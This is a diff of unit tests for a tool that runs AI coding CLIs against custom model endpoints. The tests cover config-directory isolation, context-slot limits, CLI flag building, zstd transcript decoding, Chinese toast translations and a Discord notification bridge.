||||
* the apply runs synchronous fs calls on it (the #516 rule): a home that does not answer is
|
||||
* hidden from the apply, so it links from the server's own home instead and says so.
|
||||
*
|
||||
* The probe is mocked: a mount that never answers is the case under test, and a real one
|
||||
* cannot be made here.
|
||||
*/
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
vi.mock('../src/utils/bounded-path-probe.js', async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import('../src/utils/bounded-path-probe.js')>();
|
||||
return { ...actual, probePathKind: vi.fn() };
|
||||
});
|
||||
|
||||
import { getCli } from '../src/config/cli-registry/registry.js';
|
||||
import { getDataDir } from '../src/config/instance.js';
|
||||
import { writeCustomModelHosts } from '../src/custom-model-hosts.js';
|
||||
import { customModelConfigDir, removeConfigDir } from '../src/custom-model-injection-apply.js';
|
||||
import { Session } from '../src/session.js';
|
||||
import { probePathKind } from '../src/utils/bounded-path-probe.js';
|
||||
import { guardSessionConfigDirHome } from '../src/web/routes/session-routes.js';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
import type { CustomModelBookkeeping } from '../src/types/session.js';
|
||||
|
||||
const probe = vi.mocked(probePathKind);
|
||||
const deepseek = () => getCli('deepseek')!;
|
||||
const env =
|
||||
(values: Record<string, string>) =>
|
||||
(name: string): string | undefined =>
|
||||
values[name];
|
||||
|
||||
describe('guardSessionConfigDirHome', () => {
|
||||
afterEach(() => {
|
||||
probe.mockReset();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
it('hides only the home when it does not answer, and warns that the server home is used', async () => {
|
||||
probe.mockResolvedValue('unknown');
|
||||
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
|
||||
const lookup = await guardSessionConfigDirHome(deepseek(), env({ DSH_HOME: '/mnt/dead/dsh', OTHER: 'kept' }));
|
||||
|
||||
expect(lookup('DSH_HOME')).toBeUndefined();
|
||||
expect(lookup('OTHER')).toBe('kept');
|
||||
expect(probe).toHaveBeenCalledWith('/mnt/dead/dsh', { pastCap: true });
|
||||
expect(warn).toHaveBeenCalledTimes(1);
|
||||
expect(String(warn.mock.calls[0][0])).toContain('/mnt/dead/dsh');
|
||||
});
|
||||
|
||||
it('passes a home that answers straight through', async () => {
|
||||
probe.mockResolvedValue('directory');
|
||||
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
const base = env({ DSH_HOME: '/home/u/.dsh' });
|
||||
|
||||
expect(await guardSessionConfigDirHome(deepseek(), base)).toBe(base);
|
||||
expect(warn).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("guards claude's own config dir too: the apply makes its projects folder", async () => {
|
||||
probe.mockResolvedValue('unknown');
|
||||
vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
|
||||
const lookup = await guardSessionConfigDirHome(getCli('claude')!, env({ CLAUDE_CONFIG_DIR: '/mnt/dead/claude' }));
|
||||
|
||||
expect(lookup('CLAUDE_CONFIG_DIR')).toBeUndefined();
|
||||
expect(probe).toHaveBeenCalledWith('/mnt/dead/claude', { pastCap: true });
|
||||
});
|
||||
|
||||
it('boot recovery probes the own home under the stall cap: it is a bulk pass, not one request', async () => {
|
||||
probe.mockResolvedValue('unknown');
|
||||
vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
await writeCustomModelHosts(getDataDir(), [{ id: 'ep', label: 'Ep', baseUrl: 'http://box:8080' }]);
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'deepseek' });
|
||||
const saved: CustomModelBookkeeping = { endpointId: 'ep', modelId: 'q', envKeys: [] };
|
||||
const proto = WebServer.prototype as unknown as {
|
||||
_rebuildCustomModelEnv: (session: Session, saved: CustomModelBookkeeping, ownEnv: object) => Promise<unknown>;
|
||||
};
|
||||
|
||||
await proto._rebuildCustomModelEnv(session, saved, { DSH_HOME: '/mnt/dead/dsh' });
|
||||
|
||||
expect(probe).toHaveBeenCalledWith('/mnt/dead/dsh', {});
|
||||
removeConfigDir(customModelConfigDir(session.id));
|
||||
});
|
||||
|
||||
it('never probes a relative home: the apply refuses to join one', async () => {
|
||||
const base = env({ DSH_HOME: 'relative/dsh' });
|
||||
|
||||
expect(await guardSessionConfigDirHome(deepseek(), base)).toBe(base);
|
||||
expect(probe).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('never probes for a CLI with no linkFromRealHome recipe', async () => {
|
||||
const base = env({ CODEX_HOME: '/mnt/dead/codex' });
|
||||
|
||||
expect(await guardSessionConfigDirHome(getCli('codex')!, base)).toBe(base);
|
||||
expect(probe).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,80 @@
|
||||
/**
|
||||
* @fileoverview Unit tests for the parallel-slot awareness of the custom-model context floor
|
||||
* (`perSlotContext` / `exceedsSafeContextFloor`, src/web/routes/custom-model-routes.ts).
|
||||
*
|
||||
* llama-server splits its context across `--parallel` slots (by default they share one
|
||||
* unified KV pool) and Claude Code sends concurrent requests, each carrying its own ~40k
|
||||
* tokens of system prompt and tools. Measured against a real llama-swap server: with 4 slots
|
||||
* sharing ~131k tokens, four simultaneous 40k-token requests all failed with HTTP 500
|
||||
* "Context size has been exceeded"; the same requests against one slot all succeeded.
|
||||
*
|
||||
* Port: N/A (pure functions, no server).
|
||||
*/
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
CLAUDE_MIN_SAFE_CONTEXT_TOKENS,
|
||||
exceedsSafeContextFloor,
|
||||
perSlotContext,
|
||||
} from '../src/web/routes/custom-model-routes.js';
|
||||
import type { CliEntry } from '../src/config/cli-registry/types.js';
|
||||
|
||||
const withContextVar = {
|
||||
capabilities: { customModelInjection: { kind: 'env', contextLengthVar: 'CLAUDE_CODE_MAX_CONTEXT_TOKENS' } },
|
||||
} as unknown as Pick<CliEntry, 'capabilities'>;
|
||||
const withoutContextVar = {
|
||||
capabilities: { customModelInjection: { kind: 'env' } },
|
||||
} as unknown as Pick<CliEntry, 'capabilities'>;
|
||||
|
||||
describe('perSlotContext', () => {
|
||||
it('divides the context across the slots', () => {
|
||||
expect(perSlotContext(131072, 4)).toBe(32768);
|
||||
expect(perSlotContext(262144, 4)).toBe(65536);
|
||||
});
|
||||
|
||||
it('rounds down, since a fraction of a token is not usable', () => {
|
||||
expect(perSlotContext(100000, 3)).toBe(33333);
|
||||
});
|
||||
|
||||
it.each([undefined, 0, 1, -2, Number.NaN, Number.POSITIVE_INFINITY])(
|
||||
'leaves the context whole for an unusable or single slot count (%s)',
|
||||
(slots) => {
|
||||
expect(perSlotContext(65536, slots as number | undefined)).toBe(65536);
|
||||
}
|
||||
);
|
||||
});
|
||||
|
||||
describe('exceedsSafeContextFloor with a slot count', () => {
|
||||
it('divides only the context it is given, so a larger /props figure can never skip the warning', () => {
|
||||
// a --fit-ctx floor of 65,536 over 4 slots is 16,384 each, whatever /props might say about the server
|
||||
expect(exceedsSafeContextFloor(withContextVar, 65536, 4)).toBe(true);
|
||||
expect(exceedsSafeContextFloor(withContextVar, 65536, 1)).toBe(false);
|
||||
// the measured failure: ~131k over 4 slots is ~33k each
|
||||
expect(exceedsSafeContextFloor(withContextVar, 131072, 4)).toBe(true);
|
||||
expect(exceedsSafeContextFloor(withContextVar, 262144, 4)).toBe(false);
|
||||
});
|
||||
|
||||
it('still warns when the context itself is below the minimum', () => {
|
||||
expect(exceedsSafeContextFloor(withContextVar, 16384, 4)).toBe(true);
|
||||
expect(exceedsSafeContextFloor(withContextVar, 16384, 1)).toBe(true);
|
||||
});
|
||||
|
||||
it('keeps its existing behaviour when no slot count is given', () => {
|
||||
expect(exceedsSafeContextFloor(withContextVar, 16384)).toBe(true);
|
||||
expect(exceedsSafeContextFloor(withContextVar, CLAUDE_MIN_SAFE_CONTEXT_TOKENS)).toBe(false);
|
||||
expect(exceedsSafeContextFloor(withContextVar, undefined)).toBe(false);
|
||||
});
|
||||
|
||||
it('flags a context that only clears the floor as a whole, not per slot', () => {
|
||||
expect(exceedsSafeContextFloor(withContextVar, 131072, 4)).toBe(true);
|
||||
expect(exceedsSafeContextFloor(withContextVar, 131072, 1)).toBe(false);
|
||||
});
|
||||
|
||||
it('accepts exactly the floor per slot', () => {
|
||||
expect(exceedsSafeContextFloor(withContextVar, CLAUDE_MIN_SAFE_CONTEXT_TOKENS * 4, 4)).toBe(false);
|
||||
expect(exceedsSafeContextFloor(withContextVar, CLAUDE_MIN_SAFE_CONTEXT_TOKENS * 4 - 4, 4)).toBe(true);
|
||||
});
|
||||
|
||||
it('never applies to a CLI that declares no context variable, whatever the slots', () => {
|
||||
expect(exceedsSafeContextFloor(withoutContextVar, 4096, 8)).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -30,6 +30,36 @@ async function closedPort(): Promise<number> {
|
||||
}
|
||||
|
||||
describe('buildWebArgs', () => {
|
||||
it('forwards the tunnel opt-in between the network and multi-user flags', () => {
|
||||
const options = {
|
||||
host: '0.0.0.0',
|
||||
port: 8080,
|
||||
https: true,
|
||||
titleHostname: 'tower',
|
||||
allowUnauthenticatedNetwork: true,
|
||||
allowUnauthenticatedTunnel: true,
|
||||
multiuser: true,
|
||||
};
|
||||
expect(buildWebArgs(options)).toEqual([
|
||||
'web',
|
||||
'--host',
|
||||
'0.0.0.0',
|
||||
'--port',
|
||||
'8080',
|
||||
'--https',
|
||||
'--title-hostname',
|
||||
'tower',
|
||||
'--allow-unauthenticated-network',
|
||||
'--allow-unauthenticated-tunnel',
|
||||
'--multiuser',
|
||||
]);
|
||||
});
|
||||
|
||||
it.each([false, undefined])('omits the tunnel opt-in when it is %s', (allowUnauthenticatedTunnel) => {
|
||||
const options = { host: '127.0.0.1', port: 8080, https: false, allowUnauthenticatedTunnel };
|
||||
expect(buildWebArgs(options)).toEqual(['web', '--host', '127.0.0.1', '--port', '8080']);
|
||||
});
|
||||
|
||||
it('always passes host and port through explicitly', () => {
|
||||
expect(buildWebArgs({ host: '127.0.0.1', port: 3000, https: false })).toEqual([
|
||||
'web',
|
||||
|
||||
@@ -0,0 +1,207 @@
|
||||
import { existsSync, mkdirSync, mkdtempSync, readFileSync, readlinkSync, realpathSync, rmSync, statSync, writeFileSync } from 'node:fs';
|
||||
import { homedir, tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { getCli } from '../src/config/cli-registry/index.js';
|
||||
import { buildCustomModelInjection } from '../src/custom-model-injection.js';
|
||||
import {
|
||||
applyCustomModelInjection,
|
||||
removeConfigDir,
|
||||
customModelConfigDir,
|
||||
} from '../src/custom-model-injection-apply.js';
|
||||
|
||||
afterEach(() => {
|
||||
removeConfigDir(customModelConfigDir('deepseek-probe'));
|
||||
vi.unstubAllEnvs();
|
||||
});
|
||||
|
||||
describe('DeepSeek custom endpoint isolation', () => {
|
||||
it('uses the chosen model and limits without changing installed profiles or embedding the key', () => {
|
||||
const realHome = join(homedir(), '.dsh');
|
||||
const profile = join(realHome, 'profiles', 'dsh-tui');
|
||||
mkdirSync(profile, { recursive: true });
|
||||
mkdirSync(join(realHome, 'sessions'), { recursive: true });
|
||||
writeFileSync(join(realHome, 'settings.yaml'), 'theme: dark');
|
||||
const original = join(profile, 'cordis.patch.yml');
|
||||
writeFileSync(original, 'original profile');
|
||||
vi.stubEnv('DSH_HOME', realHome);
|
||||
const entry = getCli('deepseek');
|
||||
if (!entry) throw new Error('Missing DeepSeek entry');
|
||||
const endpoint = { id: 'local', label: 'Local', baseUrl: 'http://box:8080', apiKey: 'private-probe-key' };
|
||||
const applied = applyCustomModelInjection(entry, endpoint, 'chosen-model', 'deepseek-probe', 131072);
|
||||
if (!applied?.configDir) throw new Error('Missing isolated profile');
|
||||
const content = readFileSync(join(applied.configDir, 'cordis.patch.yml'), 'utf8');
|
||||
expect(content).not.toContain(endpoint.apiKey);
|
||||
// The dedicated key var, never DEEPSEEK_API_KEY: dsh's own llm-deepseek/web-search
|
||||
// rows read that too, and an in-session /model switch back to the official route must
|
||||
// not take the custom endpoint's key to api.deepseek.com with it.
|
||||
expect(applied.envOverrides.CODEMAN_CUSTOM_MODEL_API_KEY).toBe(endpoint.apiKey);
|
||||
expect(applied.envOverrides.DEEPSEEK_API_KEY).toBeUndefined();
|
||||
const patch = JSON.parse(content);
|
||||
const provider = patch.find((row: { id: string }) => row.id === 'llm-pi-ai').config.providers['codeman-custom'];
|
||||
expect(provider.api).toBe('openai-completions');
|
||||
expect(provider.baseURL).toBe('http://box:8080/v1');
|
||||
expect(provider.models).toEqual([
|
||||
{ id: 'chosen-model', name: 'chosen-model', contextWindow: 131072, maxTokens: 8192 },
|
||||
]);
|
||||
expect(patch.find((row: { id: string }) => row.id === 'dsh-tui').config).toEqual({
|
||||
provider: 'codeman-custom',
|
||||
model: 'chosen-model',
|
||||
});
|
||||
expect(realpathSync(join(applied.configDir, 'profiles'))).toBe(join(realHome, 'profiles'));
|
||||
// The rest of the linkFromRealHome list, consumed generically: `sessions` is the
|
||||
// transcript root removeConfigDir would otherwise delete, and the user's settings.yaml
|
||||
// must keep applying through the redirect.
|
||||
expect(realpathSync(join(applied.configDir, 'sessions'))).toBe(join(realHome, 'sessions'));
|
||||
expect(realpathSync(join(applied.configDir, 'settings.yaml'))).toBe(join(realHome, 'settings.yaml'));
|
||||
// Re-apply onto the same config dir (boot recovery re-runs this every restart): the
|
||||
// lstat guard must skip every existing link, which the old existsSync check missed:
|
||||
// recreating them would raise EEXIST.
|
||||
const reapplied = applyCustomModelInjection(entry, endpoint, 'chosen-model', 'deepseek-probe', 131072);
|
||||
expect(reapplied?.envOverrides.DSH_HOME).toBe(applied.configDir);
|
||||
removeConfigDir(applied.configDir);
|
||||
expect(readFileSync(original, 'utf8')).toBe('original profile');
|
||||
});
|
||||
|
||||
it('creates missing directory targets before linking, skips a missing file target, stays fine on re-apply', () => {
|
||||
// A fresh install (or relocated DSH_HOME) has never run a turn, so the real home
|
||||
// carries none of the linked entries. Linking a missing DIRECTORY left a dangling
|
||||
// symlink whose every write dsh attempts THROUGH it failed with ENOENT on EVERY turn,
|
||||
// and the lstat guard kept that dangling link forever. Directories are now created
|
||||
// (0700, what dsh itself does on a first turn) before linking; a missing FILE
|
||||
// (`settings.yaml`) is simply skipped. A stubbed HOME and CODEMAN_DATA_DIR keep both
|
||||
// the fake real home and the generated dir off the developer's own dotfiles.
|
||||
const sandbox = mkdtempSync(join(tmpdir(), 'dsh-fresh-home-'));
|
||||
const realHome = join(sandbox, '.dsh');
|
||||
mkdirSync(realHome, { recursive: true }); // exists, but no sessions/, no profiles/, no settings.yaml
|
||||
vi.stubEnv('HOME', sandbox);
|
||||
vi.stubEnv('CODEMAN_DATA_DIR', join(sandbox, 'data'));
|
||||
vi.stubEnv('DSH_HOME', ''); // force resolution down to the recipe's `realHomeFallback`
|
||||
try {
|
||||
const entry = getCli('deepseek');
|
||||
if (!entry) throw new Error('Missing DeepSeek entry');
|
||||
const endpoint = { id: 'local', label: 'Local', baseUrl: 'http://box:8080', apiKey: 'private-probe-key' };
|
||||
const applied = applyCustomModelInjection(entry, endpoint, 'chosen-model', 'deepseek-probe', 131072);
|
||||
if (!applied?.configDir) throw new Error('Missing isolated profile');
|
||||
|
||||
expect(realpathSync(join(applied.configDir, 'sessions'))).toBe(join(realHome, 'sessions'));
|
||||
expect(realpathSync(join(applied.configDir, 'profiles'))).toBe(join(realHome, 'profiles'));
|
||||
expect(statSync(join(realHome, 'sessions')).mode & 0o777).toBe(0o700);
|
||||
// The missing FILE target is skipped outright, not a dangling link either: lstat
|
||||
// must find nothing, so a later apply (once the file exists for real) links it.
|
||||
expect(existsSync(join(realHome, 'settings.yaml'))).toBe(false);
|
||||
expect(readlinkSafe(join(applied.configDir, 'settings.yaml'))).toBeUndefined();
|
||||
|
||||
// Re-apply stays fine (boot recovery re-runs it every restart): idempotent...
|
||||
const reapplied = applyCustomModelInjection(entry, endpoint, 'chosen-model', 'deepseek-probe', 131072);
|
||||
expect(reapplied?.envOverrides.DSH_HOME).toBe(applied.configDir);
|
||||
// ...and a target deleted AFTER linking keeps the existing link untouched (the
|
||||
// lstat guard), rather than recreating it and throwing EEXIST.
|
||||
rmSync(join(realHome, 'sessions'), { recursive: true, force: true });
|
||||
expect(
|
||||
applyCustomModelInjection(entry, endpoint, 'chosen-model', 'deepseek-probe', 131072)?.envOverrides.DSH_HOME
|
||||
).toBe(applied.configDir);
|
||||
expect(readlinkSync(join(applied.configDir, 'sessions'))).toBe(join(realHome, 'sessions'));
|
||||
} finally {
|
||||
rmSync(sandbox, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it('links from the SESSION-supplied DSH_HOME, not the server environment one', () => {
|
||||
// Both web routes pass the session's own env-override lookup as the seventh
|
||||
// argument; a user who relocated the dsh home via an allowlisted DSH_HOME
|
||||
// override must get their state linked from THAT directory, not the server's.
|
||||
const sandbox = mkdtempSync(join(tmpdir(), 'dsh-session-home-'));
|
||||
const serverHome = join(sandbox, 'server-home');
|
||||
const sessionHome = join(sandbox, 'session-home');
|
||||
mkdirSync(join(sessionHome, 'sessions'), { recursive: true });
|
||||
mkdirSync(join(sessionHome, 'profiles'), { recursive: true });
|
||||
writeFileSync(join(sessionHome, 'settings.yaml'), 'theme: light');
|
||||
vi.stubEnv('CODEMAN_DATA_DIR', join(sandbox, 'data'));
|
||||
vi.stubEnv('DSH_HOME', serverHome);
|
||||
try {
|
||||
const entry = getCli('deepseek');
|
||||
if (!entry) throw new Error('Missing DeepSeek entry');
|
||||
const endpoint = { id: 'local', label: 'Local', baseUrl: 'http://box:8080', apiKey: 'private-probe-key' };
|
||||
const applied = applyCustomModelInjection(
|
||||
entry,
|
||||
endpoint,
|
||||
'chosen-model',
|
||||
'deepseek-probe',
|
||||
131072,
|
||||
undefined,
|
||||
(k) => (k === 'DSH_HOME' ? sessionHome : undefined)
|
||||
);
|
||||
if (!applied?.configDir) throw new Error('Missing isolated profile');
|
||||
expect(realpathSync(join(applied.configDir, 'sessions'))).toBe(join(sessionHome, 'sessions'));
|
||||
expect(realpathSync(join(applied.configDir, 'profiles'))).toBe(join(sessionHome, 'profiles'));
|
||||
expect(realpathSync(join(applied.configDir, 'settings.yaml'))).toBe(join(sessionHome, 'settings.yaml'));
|
||||
// The server-environment home was never consulted, let alone created.
|
||||
expect(existsSync(serverHome)).toBe(false);
|
||||
} finally {
|
||||
rmSync(sandbox, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it('never self-links when the session override IS its own config dir; falls through to the server home', () => {
|
||||
// Boot recovery re-applies onto a session already holding a previous injection's
|
||||
// DSH_HOME value; linking that value would point the isolated directory at itself.
|
||||
const sandbox = mkdtempSync(join(tmpdir(), 'dsh-self-home-'));
|
||||
const serverHome = join(sandbox, 'server-home');
|
||||
mkdirSync(join(serverHome, 'sessions'), { recursive: true });
|
||||
vi.stubEnv('CODEMAN_DATA_DIR', join(sandbox, 'data'));
|
||||
vi.stubEnv('DSH_HOME', serverHome);
|
||||
try {
|
||||
const entry = getCli('deepseek');
|
||||
if (!entry) throw new Error('Missing DeepSeek entry');
|
||||
const endpoint = { id: 'local', label: 'Local', baseUrl: 'http://box:8080', apiKey: 'private-probe-key' };
|
||||
const applied = applyCustomModelInjection(
|
||||
entry,
|
||||
endpoint,
|
||||
'chosen-model',
|
||||
'deepseek-probe',
|
||||
131072,
|
||||
undefined,
|
||||
(k) => (k === 'DSH_HOME' ? customModelConfigDir('deepseek-probe') : undefined)
|
||||
);
|
||||
if (!applied?.configDir) throw new Error('Missing isolated profile');
|
||||
expect(realpathSync(join(applied.configDir, 'sessions'))).toBe(join(serverHome, 'sessions'));
|
||||
} finally {
|
||||
rmSync(sandbox, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it('skips a relative DSH_HOME rather than creating it under the server cwd', () => {
|
||||
// A session may supply DSH_HOME; `work` would otherwise mkdir `work/sessions` in
|
||||
// the SERVER's working directory and leave relative links that dangle (a relative
|
||||
// home resolves against the CLI's cwd, which the server cannot know). Skipping it
|
||||
// falls through to the recipe's `realHomeFallback`, and nothing is created under cwd.
|
||||
const sandbox = mkdtempSync(join(tmpdir(), 'dsh-relative-home-'));
|
||||
const fallbackHome = join(sandbox, '.dsh');
|
||||
mkdirSync(fallbackHome, { recursive: true });
|
||||
const relativeHome = `dsh-relative-probe-${process.pid}-${Date.now()}`;
|
||||
vi.stubEnv('HOME', sandbox); // the fallback resolves under homedir()
|
||||
vi.stubEnv('CODEMAN_DATA_DIR', join(sandbox, 'data'));
|
||||
vi.stubEnv('DSH_HOME', relativeHome);
|
||||
try {
|
||||
const entry = getCli('deepseek');
|
||||
if (!entry) throw new Error('Missing DeepSeek entry');
|
||||
const endpoint = { id: 'local', label: 'Local', baseUrl: 'http://box:8080', apiKey: 'private-probe-key' };
|
||||
const applied = applyCustomModelInjection(entry, endpoint, 'chosen-model', 'deepseek-probe', 131072);
|
||||
if (!applied?.configDir) throw new Error('Missing isolated profile');
|
||||
expect(existsSync(join(process.cwd(), relativeHome))).toBe(false);
|
||||
expect(realpathSync(join(applied.configDir, 'sessions'))).toBe(join(fallbackHome, 'sessions'));
|
||||
} finally {
|
||||
rmSync(sandbox, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
/** readlinkSync without the throw an absent link causes (ENOENT -> undefined). */
|
||||
function readlinkSafe(path: string): string | undefined {
|
||||
try {
|
||||
return readlinkSync(path);
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
@@ -4,10 +4,11 @@
|
||||
* Two of these assertions exist because the obvious implementation was measured
|
||||
* to be wrong against real files:
|
||||
*
|
||||
* - dsh appends ONE ZSTD FRAME PER WRITE, and Node's `zlib` zstd decoder stops
|
||||
* at the first frame end. A 56-line transcript decoded as 1 line / 158 bytes,
|
||||
* which reads as "the worker never answered" rather than as an error. The
|
||||
* multi-frame fixtures below are the guard.
|
||||
* - dsh appends ONE ZSTD FRAME PER WRITE, and Node's `zlib` zstd decoder
|
||||
* before 24.22 and 26.10 stops at the first frame end. A 56-line transcript
|
||||
* decoded as 1 line / 158 bytes, which reads as "the worker never answered"
|
||||
* rather than as an error. Newer Node decodes every frame (nodejs/node#65865),
|
||||
* so the multi-frame fixtures below pin the walker itself, not Node's decoder.
|
||||
* - a fresh worker in a case directory that had been used before answered its
|
||||
* first `last-response` with the PREVIOUS session's reply. Session-to-
|
||||
* transcript pairing is therefore its own describe block.
|
||||
@@ -67,10 +68,6 @@ describe.skipIf(!zstdSupported())('zstd frame walking', () => {
|
||||
const lines = Array.from({ length: 40 }, (_, i) => JSON.stringify({ type: 'noise', seq: i }));
|
||||
const buf = framed(lines);
|
||||
|
||||
// The one-shot decoder is what this module had to replace.
|
||||
const oneShot = (zlib as unknown as { zstdDecompressSync?: (b: Buffer) => Buffer }).zstdDecompressSync!(buf);
|
||||
expect(oneShot.toString('utf8').trim().split('\n')).toHaveLength(1);
|
||||
|
||||
expect(zstdFrameRanges(buf)).toHaveLength(40);
|
||||
expect(decodeZstdFrames(buf).trim().split('\n')).toHaveLength(40);
|
||||
});
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,91 @@
|
||||
/**
|
||||
* @fileoverview zh-CN coverage for the toasts shown when a window could not be
|
||||
* opened, and for the Codeman desktop app's own toasts.
|
||||
*
|
||||
* The literals are read from their sources: the transcript and detached
|
||||
* preview toasts from panels-ui.js, and the desktop shim's toasts from
|
||||
* packages/desktop/src/assets.rs (a Rust file whose strings reach Codeman's
|
||||
* `showToast`), so a reworded toast on either side without an entry fails
|
||||
* here. The download toasts carry a file name and go through the pattern
|
||||
* rule, which must keep the name exactly as written.
|
||||
*
|
||||
* Port: N/A.
|
||||
*/
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
import vm from 'node:vm';
|
||||
import { JSDOM } from 'jsdom';
|
||||
import { afterAll, describe, expect, it } from 'vitest';
|
||||
|
||||
const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
|
||||
const read = (f: string) => readFileSync(resolve(PUBLIC, f), 'utf8');
|
||||
const I18N = read('i18n.js');
|
||||
const PANELS_UI = read('panels-ui.js');
|
||||
const ASSETS_RS = readFileSync(resolve(import.meta.dirname, '../packages/desktop/src/assets.rs'), 'utf8');
|
||||
|
||||
type Api = { t(s: string): string; configure(o: Record<string, string>): void };
|
||||
function translator(language: string) {
|
||||
const dom = new JSDOM('<!doctype html><html><body></body></html>', {
|
||||
runScripts: 'outside-only',
|
||||
url: 'http://localhost/',
|
||||
});
|
||||
vm.runInContext(I18N, dom.getInternalVMContext(), { filename: 'i18n.js' });
|
||||
const api = (dom.window as unknown as { CodemanI18n: Api }).CodemanI18n;
|
||||
api.configure({ language });
|
||||
return { api, dom };
|
||||
}
|
||||
const zh = translator('zh-CN');
|
||||
const en = translator('en');
|
||||
afterAll(() => {
|
||||
zh.dom.window.close();
|
||||
en.dom.window.close();
|
||||
});
|
||||
|
||||
const panelToasts = [
|
||||
...PANELS_UI.matchAll(/this\.showToast\('(Could not open the transcript window[^']*|Pop-up blocked[^']*)'/g),
|
||||
].map((m) => m[1]);
|
||||
// The shim's JavaScript may quote a literal either way.
|
||||
const shimToasts = [...ASSETS_RS.matchAll(/showToast\((['"])([^'"]+)\1/g)].map((m) => m[2]);
|
||||
const downloadTemplates = [...ASSETS_RS.matchAll(/format!\("([^"]*\{file_name\}[^"]*)"\)/g)].map((m) => m[1]);
|
||||
|
||||
// File names with spaces, dots, brackets and English words, one of them a
|
||||
// dictionary word on its own ("Settings saved"), which must not be translated.
|
||||
const FILE_NAMES = ['report v2.pdf', 'Settings saved', 'a (1).tar.gz', '数据.csv'];
|
||||
|
||||
describe('the window and desktop toasts in zh-CN', () => {
|
||||
it('finds the strings it checks (the check is not vacuous)', () => {
|
||||
expect(new Set(panelToasts)).toEqual(
|
||||
new Set([
|
||||
'Could not open the transcript window: pop-up windows are blocked here',
|
||||
'Pop-up blocked: allow pop-ups for this site to detach previews',
|
||||
])
|
||||
);
|
||||
expect(new Set(shimToasts)).toEqual(new Set(['Could not open a new window']));
|
||||
expect(new Set(downloadTemplates)).toEqual(
|
||||
new Set(['Downloaded {file_name} to Downloads', 'Download of {file_name} failed'])
|
||||
);
|
||||
});
|
||||
|
||||
it('every literal toast translates, and reads the same in English', () => {
|
||||
const bad = [...panelToasts, ...shimToasts].filter((l) => {
|
||||
const text = zh.api.t(l);
|
||||
return text === l || /[A-Za-z]/.test(text) || en.api.t(l) !== l;
|
||||
});
|
||||
expect(bad).toEqual([]);
|
||||
});
|
||||
|
||||
it('the download toasts translate around the file name, which stays as written', () => {
|
||||
for (const template of downloadTemplates) {
|
||||
for (const name of FILE_NAMES) {
|
||||
const source = template.replace('{file_name}', name);
|
||||
const text = zh.api.t(source);
|
||||
expect(text, source).not.toBe(source);
|
||||
expect(text.split(name), source).toHaveLength(2);
|
||||
expect(text.replace(name, ''), source).not.toMatch(/[A-Za-z]/);
|
||||
expect(en.api.t(source)).toBe(source);
|
||||
}
|
||||
}
|
||||
expect(zh.api.t('Downloaded report v2.pdf to Downloads')).toBe('已将 report v2.pdf 下载到“下载”文件夹');
|
||||
expect(zh.api.t('Download of report v2.pdf failed')).toBe('下载 report v2.pdf 失败');
|
||||
});
|
||||
});
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,208 @@
|
||||
// @vitest-environment node
|
||||
/**
|
||||
* @fileoverview The glue between WebServer and the Discord bridge: alerts reach it even with no
|
||||
* Web Push subscription (with the rendered screen as the tail), and tab events reach it routed by
|
||||
* kind. The bridge and routes are tested on their own; this pins the lines that make the feature
|
||||
* exist. A real WebServer, never started, with the bridge replaced by a recorder.
|
||||
*
|
||||
* Port: N/A (no server start).
|
||||
*/
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
const { sendNotification } = vi.hoisted(() => ({ sendNotification: vi.fn(async () => undefined) }));
|
||||
vi.mock('web-push', () => ({
|
||||
default: { sendNotification, setVapidDetails: vi.fn(), generateVAPIDKeys: vi.fn() },
|
||||
}));
|
||||
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
import { SseEvent } from '../src/web/sse-events.js';
|
||||
|
||||
type Internals = {
|
||||
pushStore: { getAll: () => never[]; dispose: () => void };
|
||||
discordBridge: Record<string, ReturnType<typeof vi.fn>>;
|
||||
sessions: Map<string, unknown>;
|
||||
mux: { capturePaneText?: (name: string) => string | null };
|
||||
lastResponseFor?: (session: unknown, context?: string) => Promise<{ text: string }>;
|
||||
sendPushNotifications: (event: string, data: Record<string, unknown>) => Promise<void>;
|
||||
broadcast: (event: string, data: unknown) => void;
|
||||
cleanupSession: (id: string, killMux?: boolean, reason?: string) => Promise<void>;
|
||||
discardPartiallyBuiltSession: (id: string) => Promise<void>;
|
||||
};
|
||||
|
||||
function server(): Internals {
|
||||
const s = new WebServer(0, false, true, '127.0.0.1', 'box') as unknown as Internals;
|
||||
s.pushStore = { getAll: () => [], dispose: () => undefined };
|
||||
s.discordBridge = {
|
||||
notify: vi.fn(async () => null),
|
||||
sessionCreated: vi.fn(async () => undefined),
|
||||
sessionRenamed: vi.fn(async () => undefined),
|
||||
sessionDeleted: vi.fn(async () => undefined),
|
||||
forgetTab: vi.fn(),
|
||||
stop: vi.fn(),
|
||||
};
|
||||
return s;
|
||||
}
|
||||
|
||||
beforeEach(() => sendNotification.mockClear());
|
||||
|
||||
describe('bridge deps', () => {
|
||||
it('agentExited is true only for a session whose pane exit was observed', () => {
|
||||
